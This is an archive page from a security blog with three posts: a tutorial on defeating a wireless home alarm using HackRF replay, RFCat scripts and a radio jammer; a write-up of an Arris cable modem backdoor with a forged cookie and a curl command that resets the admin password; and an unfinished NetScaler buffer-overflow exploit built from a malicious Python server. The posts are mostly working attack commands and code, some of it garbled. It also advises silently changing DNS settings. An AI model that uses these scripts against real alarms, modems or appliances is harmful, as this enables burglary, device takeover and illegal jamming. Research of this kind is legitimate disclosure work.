Tuesday, October 17, 2017

Hacking Everything with RF and Software Defined Radio - Part 1

This will be a Mini Course on Attacking Devices with RF from a hackers perspective

I wanted to learn about hacking devices using radio frequencies(RF) as their communication mechanism , so I looked around the Internet and only found a few scattered tutorials on random things which were either theoretical or narrowly focused. So I bought some hardware and some tools and decided to figure it out myself. The mission was to go from knowing nothing to owning whatever random devices I could find which offer up a good target with multiple avenues of attack and capability for learning.  The devices and tools needed are posted below. As we attack more devices, we will post more info on those devices.
You can follow us online at the following if your really bored:
Twitter: @Ficti0n , GarrGhar
Site: CCLabs.io

Items needed to Follow Along: 

Purchase Target: 

Home Alert System: https://goo.gl/W56Eau
I settled on hacking a home alert system for the first blog, which contained the following Items: 
  • A doorBell
  • Motion Sensors with alarm alerts
  • Door sensors to alert when the door is opened
  • Home Hub Receiver

Purchase Tools Needed: 

HackRF: https://goo.gl/3trM5Q
YardStick: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR

Penetration Testing BrainStorming Session: 

I brainstormed with a friend the following attack avenues for this device: 
  • Ring the doorbell  (Our Hello World) 
  • Trigger the motion sensors
  • Remotely disable the motion sensors
  • Jam frequencies for Denial Of Service 

This blog will cover all of the attacks performed, including code, data captures, so you can follow along even if you don’t have all of the exact devices but want to play around with it yourself. These are the the topics covered so you can decide if you want to read further or watch the associated videos linked below. 

  • Using HackRF for RF Replay attacks 
  • Using Yardstick One for Replay attacks 
  • Demodulating and decoding signals for use with RF attacks 
  • Discovering and troubleshooting issues
  • Coding tools in python and RFCat
  • RF Jamming Attacks

Video Series PlayList Associated with this blog: 

Initial Profiling of our Device: 

What does our device do in normal operation?   
Taking a look at all the components, there is a receiving station which sets off alarms based on opening doors, motion from a motion sensor and the pressing of a doorbell.  

How do they Connect?
All of these devices are only connected to each other via wireless, they are not connected to any sort of local network or wires. So they are all communicating in an unknown frequency we need determine before we can start hacking them. 

Determining the Frequency: 
To profile our device for the frequency its transmitting on we can use the FCID located on the back of any of the transmitters. We can do this by going to https://fccid.io/ and typing in the FCID from the back of our device. This will provide data sheets, and test reports which contain the information needed to sniff our devices radio transmissions. This site also contains internal device pictures which are useful if you wanted to try hardware hacking. For example looking for Integrated Circuits(IC) numbers or debug interfaces. In this case we only care about the RF frequencies our device is using which happens to be the 315MHz as show below from the fccid website. 

Replay attacks with HackRF To Trigger / Disable Sensors: 

Armed with the frequency range only and no other information we decided to see if we can just blindly capture and replay a transmissions raw form to perform actions without the legitimate transmitters and without understanding anything. 

Below is a photo of the HackRF One hardware used in the first attack and linked above. 

Install HackRF Software: 

Install on OS X for HackRF is as simple as using Brew install, on Linux use the package manager for your distro: 
  • brew install hackrf
  • Plug in HackRF and type hackrf_info to confirm its working

Our Hello World attack is a simple replay attack of a raw capture to perform a normal operation initiated by HackRF instead of the device. We can perform this attack without understanding anything about the capture and decoding of signals. 

With the HackRF device and 2 simple commands we will capture the transmission and then replay it as if it was from the initial device in its raw format.  The following 2 commands are listed below.  The -r is used to receive and the -t is used to transmit (RX, TX) you will also notice a -R on the transmit command which continuously repeats in TX mode denoted by “Input file end reached. Rewind to beginning” within the transmit output below. We use this in case the first transmission is not seen by the device. The other switches are for gain. 

Simple Replay Commands: 

hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
hackrf_transfer -t connector.raw -f 315000000 -x 40 -R

By using these commands we can capture the motion sensor transmission and replay it in raw format to create a false alarm, we can also capture the doorbell transmission and trigger an alarm.  Output of the commands needed to do this are shown below. The video associated with this blog shows the audio and visual output from the alarm system as well as a video form of this blog.  

Receive: (Capture Traffic from HackRF): 

Destroy: ficti0n$ sudo hackrf_transfer -r connector.raw -f 315000000 -l 24 -g 20
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.004 sec = 19.9 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
^CCaught signal 2
 5.2 MiB / 0.257 sec = 20.4 MiB/second

Total time: 4.27196 s
hackrf_stop_rx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done

Transmit: (Trigger alarm from HackRF) 

Destroy: ficti0n$ sudo hackrf_transfer -t connector.raw -f 315000000 -x 40 -R
call hackrf_set_sample_rate(10000000 Hz/10.000 MHz)
call hackrf_set_freq(315000000 Hz/315.000 MHz)
Stop with Ctrl-C
19.9 MiB / 1.000 sec = 19.9 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
Input file end reached. Rewind to beginning.
20.2 MiB / 1.005 sec = 20.1 MiB/second
20.2 MiB / 1.001 sec = 20.2 MiB/second
19.9 MiB / 1.005 sec = 19.8 MiB/second
20.2 MiB / 1.000 sec = 20.2 MiB/second
^CCaught signal 2
12.8 MiB / 0.654 sec = 19.7 MiB/second

Total time: 12.68557 s
hackrf_stop_tx() done
hackrf_close() done
hackrf_exit() done
fclose(fd) done

While this is a good POC that we can communicate with the door alert system, this did not provide much of a learning opportunity nor did it drastically reduce the effectiveness of the security system. It only provides false alarms of standard functionality. Lets try doing this the more complicated way by profiling the device a bit more, capturing traffic, reducing the wave patterns to binary, converting to hex and then sending it over another device for a bit more precision and learning opportunity.  This will also open up other attack vectors. This sounds complicated, but honestly its not complicated just a bit tedious to get right at first. 

Further Profiling our Devices Functionality: 

We are easily able to replay functionality when initiating actions ourselves with our HackRF, but what else is going on with the radio transmissions? In order to monitor the transmissions in a very simple way we can use tools such as GQRX with either our HackRF device or an inexpensive SDR Dongle and view the 315MHz radio frequency to see whats happening. 

GQRX Install:

You can grab GQRX from the following location for OSX,  on linux whatever package manager your distro uses should be sufficient for installing GQRX: 

Plug in your SDR dongle of choice (HackRF or RTL-SDR, load up GQRX, and select your device, in this case a cheap 19 dollar RTL SDR: 

Select OK and the interface will load up, I made the following changes.

  • I changed the mode under receiver options on the right hand side to AM for Amplitude modulation.
  • I changed the MHz at the top to 315000000 since that is what we saw on the fccid.io data sheets. 
  • I then hit play and could view the 315 MHz frequency range. 

When triggering any of the transmit devices I saw a spike in the frequency close to the 315 MHz range.  I then held down the doorbell button since this transmit device would just keep replaying over and over while pressed. While this was repeating I dragged the bar to match the frequency exactly. Which was actually roughly 314.991.600 give or take. 

I then triggered the motion sensor and saw a similar spike in frequency, but I also noticed the motion sensor transmitter sends a 2nd transmission after about 6 seconds to shut off the light on the receiver hub that no more motion is happening. A little testing showed this  will disable the alarm from triggering during a limited time period.  

Can we replay the Motion Sensor Turn off?? 
I tried to repeat the simple replay attack of turning off the motion sensor with HackRF, however unless your capture timing is perfect to reduce any extra data the sensor disable is rather spotty and still sometimes triggers an alarm. Even with a short capture the raw file was 40mb in size. If you were to try to breach a building and disable its sensors there is a 50% chance or so the motion sensor will be triggered.  So this is not a sufficient method of disabling the motion sensor alarm. I only want a 100% chance of success if I was to try to bypass a security system.  So we need another technique.  I read online a bit and found something about decoding signal patterns into binary which sounded like a good way to reduce the extra data for a more reliable alarm bypass and decided to start with the simple doorbell as a test due to its ease of use, prior to working with less reliable transmissions based on motion and timing.  

Decoding Signal Patterns for Sending With The YardStick One: 

Below is a picture of the yard Stick tool used in the following attacks

Documented Process: 

Based on my online research in order to capture a signal and retransmit using a yardstick we need to do the following: 

  • Record the transmission with the SDR dongle and GQRX
  • Demodulate and Decode with Audacity into binary (1s & 0s)
  • Convert the Binary to Hex (0x)
  • Replay with YardStick in python and RFCat libraries 

Troubleshooting Extra Steps: 

However I found a few issues with this process and added a few more steps below. I am not trying to pretend everything worked perfectly. I ran into a few problems and these trouble shooting steps fixed the issues I ran into and I will list them below and explain them in this section as we walk through the process: 

  • Record your YardStick Replay with GQRX and adjust the frequency again based on output
  • Compare your transmission waveform to that of the original transmitters waveform to insure your 1’s & 0’s were calculated properly
  • Add some  padding in form of \x00 to the end of your Hex to make it work. 
  • Adjust the number of times you repeat your transmissions

Record Transmission with GQRX: 

OK so first things first, load your GQRX application and this time hit the record button at the bottom right side prior to triggering the doorbell transmitter. This will save a Wav file you can open in audacity. 

Install Audacity: 

You can download audacity at the following link for OSX as well as other platforms. http://www.audacityteam.org/download/  You should also be able to use your distro’s package management to install this tool if it is not found on the site. 

If you open up your wav file and zoom in a little with Command+1 or the zoom icon you should start to see a repeating pattern similar to this: 

We need to decode one of these to trigger the doorbell. So we will need to zoom in a bit further to see a full representation of one of these patterns.  Once we zoom in a bit more we see the following output which is wave form representation of your transmission. The high points are your 1’s and the low points are your 0’s: 

Decode to binary: 

So the main issue here is how many 1’s and how many 0’s are in each peak or valley??   Originally I was thinking that it was something like the following formatted in 8 bit bytes, but this left over an extra 1 which seemed odd so I added 7 0’s to make it fit correctly.  (Probably incorrect but hey it worked LOLs) 
10111000 10001011 10111000 10001000 10001011 10111011 10000000

What the above binary means is that the first high peek was One 1 in length, the first low peek was One 0 in length and the larger low and high’s were Three 111s in length. This seemed reasonable based on how it looks.  

Try converting it yourself, does it look like my representation above? 

Convert to Hex:

In order to send this to the receiver device we will need to convert it to hex. We can convert this to hex easily online at the following URL: 

Or you can use radare2 and easily convert to hex by formatting your input into 8 bit byte segments followed by a “b” for binary as follows and it will spit out some hex values you can then use to reproduce the transmission with the yardstick: 

Destroy:~ ficti0n$ rax2 10111000b 10001011b 10111000b 10001000b 10001011b 10111011b 10000000b

In order to send this with the YardStick you will need to use a python library by the name of RFCat which interfaces with your Yardstick device and can send your Hex data to your receiver.  We can easily do this with python. Even if you do not code it is very simple code to understand.  In order to install RFCat you can do the following on OSX:  (Linux procedures should be the same) 

Install RFCat and Dependencies(libusb, pyusb): 

git clone https://github.com/atlas0fd00m/rfcat.git
cd rfcat/
sudo python setup.py install
cd ../
git clone https://github.com/walac/pyusb.git
cd pyusb/
sudo python setup.py install
easy install pip
pip install libusb
Plug in your device and run the following to verify: 
rfcat -r

Setting up your python Replay Attack: 

First convert our hex from 0xB8 format to \xB8 format and place it in the following code:
Hex Conversion for the python script: 

I provided a few notations under the code to help understanding but its mostly self explanatory: 

#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()   #1
d.setFreq(315005000)  #2
d.setMdmModulation(MOD_ASK_OOK) #3
d.setMdmDRate(4800) #4 

print "Starting"
d.RFxmit("\xb8\x8b\xb8\x88\x8b\xbb\x80”*10) #5
print ‘Transmission Complete'

#--------End Code --------#
#1 Creating a RfCat instance
#2 Setting your Frequency to the capture range from your GQRX output
#3 Setting the modulation type to ASK Amplitude shift keying
#4 Setting your capture rate to that of your GQRX capture settings 
#5 Transmit your Hex 10 times

Ring Doorbell with Yardstick (First Attempt): 

Plug your YardStick into the USB port and run the above code. This will send over your command to ring the doorbell. 

Destroy:ficti0n$ python Door.py
Transmission Complete

However, this will fail and we have no indication as to why it failed. There are no program errors, or Rfcat errors. The only thing I could think is that that we sent the wrong data, meaning we incorrectly decoded the wave into binary. So I tried a bunch of different variations on the original for example the short lows having Two 1’s instead of One and all of these failed when sending with the Yardstick. 

Doorbell with Yardstick (TroubleShooting): 

I needed a better way to figure out what was going on. One way to verify what you sent is to send it again with the Yardstick and capture it with your RTL-SDR device in GQRX. You can then compare the pattern we sent with the yardstick, to the original transmission pattern by the transmitter device. 

The first thing you will notice when we capture a Yardstick transmission is the output is missing the nice spacing between each transmission as there was in the original transmission. This output is all mashed together: 

If we keep zooming in we will see a repeating pattering like the following which is our 10 transmissions repeating over and over: 

If we keep zooming in further we can compare the output from the original capture to the new capture and you will notice it pretty much looks the same other then its hard to get the zoom levels exactly the same in the GUI: 

Hmmm ok so the pattern looks correct but the spacing between patterns is smashed together. After a bit of searching online I came across a piece of code which was unrelated to what I was trying to do but sending RF transmissions with \x00\x00\x00 padding at the end of the hex.  This makes sense in the context of our visual representation above being all mashed up. So I tried this and it still failed.  I then doubled it to 6 \x00’s and the doorbell went off. So basically we just needed padding. 

Also I should note that you can put as much padding as you want at the end.. I tried as much as 12 \x00 padding elements and the doorbell still went off. I also then tried a few variations of my binary decoding and some of those which were slightly off actually rang the doorbell. So some variance is tolerated at least with this device.  Below is the working code :)   

Our Hello World test is a SUCCESS. But now we need to move on to something that could bypass the security of the device and cause real world issues. 

The following updated code will ring the doorbell using padding: 
#--------Ring the doorbell--------#: 
from rflib import *

d = RfCat()

print (“Starting Transmission”)
print (“Transmission Complete”)
#--------End Code --------#

Disable the Motion Sensor with No Motion Feature:

Ok so originally our simple HackRF replay had about a 50% success rate on turning off the motion sensor due to extraneous data in the transmission replay and timing issues. Lets see if we can get that to 100% with what we learned about decoding from the doorbell. We will instead decode the signal pattern sent from the transmitter to the receiver when shutting off the alert light, but without extra data. We will send it directly with a Yardstick over and over again and potentially use the devices own functionality to disable itself. This would allow us to walk past the motion sensors without setting off an alert. 
The question is can we take the transmission from the Motion Sensor to the Receiver Hub which says motion has ended and use that to disable the Motion Sensor based on a slight delay between saying “there is no motion” and being ready to alert again and bypass the motion sensors security.  Lets give it a try by capturing the “motion has ended” transmission with GQRX when the motion sensor sends its packet to the receiver 6 seconds after initial alert and decode the pattern.. 

Below is a screenshot of the “Motion has ended) transmission in audacity: 

So this sequence was a bit different, there was an opening sequence followed by a repeating sequence.  Lets decode both of these patterns and then determine what we need to send in order to affect the devices motion turnoff functionality.  Below is the zoomed in version of the opening sequence and repeating sequence followed by an estimation of what I think the conversion is. 

The opening sequence appears to have all the highs in single 1’s format and most of the lows in 3 000’s format, below is the exact conversion that I came up with adding some 0’s at the end to make the correct byte length… 

See what you can come up with,  does it match what I have below? 

10001000 10100010 10001010 00101000 10101000 10001010 00101000 10100000

If we convert that to hex we get the following: 
Destroy:ficti0n$ rax2 10001000b 10100010b 10001010b 00101000b 10101000b 10001010b 00101000b 10100000b

Hex Conversion for the python script: 

Next up is our repeating pattern which has a similar but slightly different structure then the opening pattern. This one starts with a 101 instead of 1000 but still seems to have all of its 1’s in single representations and most of its lows in sets of 3 000’s. Below the screenshot is the the binary I came up with.. Write it out and see if you get the same thing? 

Repeating Pattern:
10100010 10100010 10001000 10100010 10001010 00101000 10101000 10100010 10001010 00101000

Hex Conversion:  (Used the online tool, R2 didn’t like this binary for some reason) 

Testing / Troubleshooting: 

I first tried sending only the repeating sequence under the assumption the opening sequence was a fluke but that did not work. 
I then tried sending only the opening sequence and that didn’t work either.  
I combined the first part with a repeating 2nd part for 10 iterations 
The alert light immediately turned off on the device when testing from an alerting state, and from all states stopped alerting completely
Note(My light no longer turns off, I think I broke it or something LOL, or my setup at the time was different to current testing) 

In order to send the first part and the second part we need to send it so that we have padding between each sequence and in a way that only the second part repeats, we can do that the following way: 
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)

The above is very simple, to explain:

  • First add in your opening patterns HEX values
  • Pad that with 6 \x00 for spacing
  • Add the second patterns HEX values and add that with 6 \x00
  • Now multiply the second part by 10 since in the wave output this part was repeating

Below is the full code to do this, it is the same as the doorbell code with the new line from above and a While 1 loop that never stops so that the device is fully disabled using its own functionality against it :)  

As a quick test if you intentionally trip the sensor and immediately send this code the BEEP BEEP BEEP will be cut short to a single BEEP also the light may turn off depending how its configured. In all cases the motion sensor capability will be disabled. If you turn this script on at any time the sensor is completely disabled until you stop your transmission:

#--------Disable The Motion Sensor --------#: 
from rflib import *

d = RfCat()

while 1:  #Added a loop to keep the sensor disabled
print ("Starting Transmission")
d.RFxmit("\x88\xa2\x8a\x28\xa8\x8a\x28\xa0\x00\x00\x00\x00\x00\x00" + "\xA2\xA2\x88\xA2\x8A\x28\xA8\xA2\x8A\x28\x00\x00\x00\x00\x00\x00"*40)
print ("Transmission Complete")
#--------End Code --------#

Jamming RF With Python: 

Bypassing the sensors worked, but then I got thinking, so what if the company puts out a new patch and I am no longer able to turn off the sensors by using the devices functionality against itself? Or what if I wanted to bypass the door alert when the door is opened and it breaks the connection?  The door alert does not have a disable signal sent back to the receiver, it always alerts when separated. 

RF Jamming and the FCC: 

One way we can do this is with RF Jamming attacks. However, it should be noted that Jamming is technically ILLEGAL in the US on all frequencies. So in order to test this in a Legal way you will need a walk in Faraday cage to place your equipment and do some testing. This way you will not interfere with the operation of other devices on the frequency that you are jamming. 

From the FCC: https://apps.fcc.gov/edocs_public/attachmatch/DA-12-1642A1.pdf

“We caution consumers that it is against the law to use a cell or GPS jammer or any other type of device that blocks, jams or interferes with authorized communications, as well as to import, advertise, sell, or ship such a device. The FCC Enforcement Bureau has a zero tolerance policy in this area and will take aggressive action against violators. “

Notes On the reality of Criminals: 

It should also be noted that if a criminal is trying to break into your house or a building protected by an alert system that uses wireless technologies, he is probably not following FCC guidelines. So assume if you can attack your alarm system in the safety of a Faraday cage.  Your alarm system is vulnerable to attack by any criminal. A fair assumption when penetration testing an alarm system your considering for install.  You may want devices which are hardwired in as a backup. 

There has always been Jammers for things like Cellphones, WiFi networks. With the introduction of affordable software defined radio devices an attacker can jam the 315 frequency to disable your alert system as a viable attack.  A simple python script can kill a device in the 315 range and make it in-operable. 

Jamming in Python: 

I found the below script to be 100% effective while testing within a Faraday enclosure. Basically  the device pauses in its current operational state, idle state or a alert light state, the device will remain in that state indefinitely until the jamming attack is stopped and the devices are manually reset.

Use a Faraday cage for your security testing: 

If you use the below code make sure you use precautions such as Faraday cages to ensure the legal guidelines are met and you are not interfering with other devices in your area. You must assume that radios used by police, fire departments and other public safety activities could be blocked if you are not enclosing your signal. This code is purely for you to test your devices before installing them for the security of your assets. 

I call the below program RF_EMP,  not because its sending an electronic pulse but because similar to an EMP its disabling all devices in its range.  Which is why you need to use a Faraday cage so as not to interfere with devices you do not own. 
Below is a simple manually configurable version of this script. 

#--------RF_Emp.py Simple Version --------#: 

# For use within Faraday Enclosures only
from rflib import *

print "Start RF Jamming FTW"
d = RfCat()

print "Starting JAM Session,  Make sure your in your Faraday Enclosure..."
d.setModeTX() # start transmitting
raw_input("Unplug to stop jamming")
print 'done'
d.setModeIDLE() # This puts the YardStick in idle mode to stop jamming (Not convinced this works)
#--------End Code --------#

Notes on using Virtual Machines: 

You can do your RF testing on a virtual machine with pre-installed tools but its kind of sketchy and you might want to throw your Yardstick against the wall in a fury of anger when you have to unplug it after every transmission. After a few fits of blind rage I decided to install it natively so my tools work every time without removing the dongle after each transmission. 

Whats next: 

This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. 

Tuesday, September 23, 2014

Arris Cable Modem Backdoor - I'm a technician, trust me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
And after base64 decoding the "credential" value we get:
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
And finally:
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","",4);
Appears that the OID "" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' ';4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Monday, September 22, 2014

Scaling the NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:


Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
It wasn’t clear what this end point was used for and it wasn’t friendly if you hit it directly:

So I grep’d through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn’t neutered with the hardcoded “$use_api = true;”

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this “if” statement was a reference to making a soap call and due to the reference to the local “/soap” and the fact all roads from “do_login” were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP > P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
..R...R.POST /soap HTTP/1.0
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string"></clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string"></ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP > P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn’t really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP > S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just “junk”, so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn’t really clear exactly what the data was as it was some sort of “binary” stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch “A” into the stream:
import socket,sys
resp = “\x00\x01\x00\x00\xa5\xa5”+ (“A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
except socket.error as msg:
s = None
if s is None:
print 'could not open socket'
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit “pattern_create” works great for this (“root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000”). After replacing the “A” *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 
